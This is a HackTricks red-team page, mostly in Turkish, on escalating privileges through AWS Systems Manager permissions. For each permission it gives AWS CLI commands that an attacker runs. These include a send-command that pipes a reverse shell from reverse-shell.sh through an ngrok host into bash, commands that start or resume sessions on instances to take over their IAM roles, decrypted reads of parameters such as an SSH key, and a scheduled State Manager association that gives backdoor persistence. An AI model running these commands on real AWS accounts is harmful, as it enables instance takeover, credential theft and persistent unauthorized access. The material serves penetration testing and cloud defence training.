AWS - SSM Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

SSM

SSM hakkında daha fazla bilgi için bakınız:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

ssm:SendCommand iznine sahip bir saldırgan, Amazon SSM Agent çalıştıran instance’larda komut çalıştırabilir ve bu instance’ın içinde çalışan IAM Role’u ele geçirebilir.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

Bu tekniği zaten ele geçirilmiş bir EC2 instance içinde escalate privileges için kullanıyorsanız, rev shell’i yerel olarak şu şekilde yakalayabilirsiniz:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Potential Impact: SSM Agents’ın yüklü olduğu çalışan instance’lara bağlı EC2 IAM rollere doğrudan privesc.

ssm:StartSession

Bir saldırgan ssm:StartSession iznine sahipse, Amazon SSM Agent çalıştıran instance’larda SSH benzeri bir oturum başlatabilir ve içindeki IAM Role’ü ele geçirebilir.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Caution

Oturum başlatmak için SessionManagerPlugin yüklü olmalıdır: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Potansiyel Etki: SSM Agents’in kurulu olduğu çalışan instance’lara bağlı EC2 IAM rollerine doğrudan privesc.

ECS’e privesc

When ECS tasks run with ExecuteCommand enabled users with enough permissions can use ecs execute-command to execute a command inside the container.
According to the documentation this is done by creating a secure channel between the device you use to initiate the “exec“ command and the target container with SSM Session Manager. (SSM Session Manager Plugin bunun için gerekli)\
Bu nedenle, ssm:StartSession izinlerine sahip kullanıcılar, bu seçenek etkinse sadece şu komutu çalıştırarak ECS tasks içinde bir shell elde edebilecekler:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Olası Etki: ExecuteCommand etkin olan running tasks’e bağlı ECS IAM rollerine doğrudan privesc.

ssm:ResumeSession

Bir saldırgan ssm:ResumeSession iznine sahip olduğunda, Amazon SSM Agent’ı çalıştıran ve SSM session state’i disconnected olan instance’larda re-SSH benzeri bir oturum başlatabilir ve içinde çalışan IAM Role’ü ele geçirebilir.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Potansiyel Etki: SSM Agents çalışan ve disconected sessions bulunan running instance’lara bağlı EC2 IAM rolleri üzerinde doğrudan privesc.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Bahsedilen izinlere sahip bir saldırgan SSM parameters listesini görüntüleyebilir ve clear-text olarak okuyabilir. Bu parametrelerde sıklıkla hassas bilgiler bulabilirsiniz, örneğin SSH keys veya API keys.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Potansiyel Etki: Parametrelerin içinde hassas bilgi bulunabilir.

ssm:ListCommands

Bu izne sahip bir saldırgan gönderilen tüm commands listesini görebilir ve umarım bunlarda hassas bilgi bulabilir.

aws ssm list-commands

Potansiyel Etki: Komut satırlarında hassas bilgilerin bulunması.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Bu izinlere sahip bir saldırgan gönderilen tüm komutları listeleyebilir ve üretilen çıktıyı okuyarak, içinde hassas bilgiler bulabilir.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Potansiyel Etki: Komut satırı çıktıları içinde hassas bilgilerin bulunması.

ssm:CreateAssociation kullanımı

Yetkisi ssm:CreateAssociation olan bir saldırgan, SSM tarafından yönetilen EC2 örneklerinde komutları otomatik olarak çalıştırmak için bir State Manager Association oluşturabilir. Bu association’lar sabit aralıklarla çalışacak şekilde yapılandırılabilir; bu da etkileşimli oturumlar olmadan arka kapı benzeri kalıcılık sağlar.

aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

Note

Bu persistence yöntemi, EC2 instance’ın Systems Manager tarafından yönetildiği, SSM agent’ın çalıştığı ve saldırganın associations oluşturma iznine sahip olduğu sürece çalışır. Etkileşimli oturumlar veya açık ssm:SendCommand izinleri gerektirmez. Önemli: --schedule-expression parametresi (örn. rate(30 minutes)) AWS’in 30 dakikalık minimum aralığına uymalıdır. Hemen veya tek seferlik yürütme için --schedule-expression parametresini tamamen atlayın — association oluşturulduktan sonra bir kez çalışacaktır.

Codebuild

SSM’i, inşa edilmekte olan bir codebuild projesinin içine girmek için de kullanabilirsiniz:

AWS - Codebuild Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin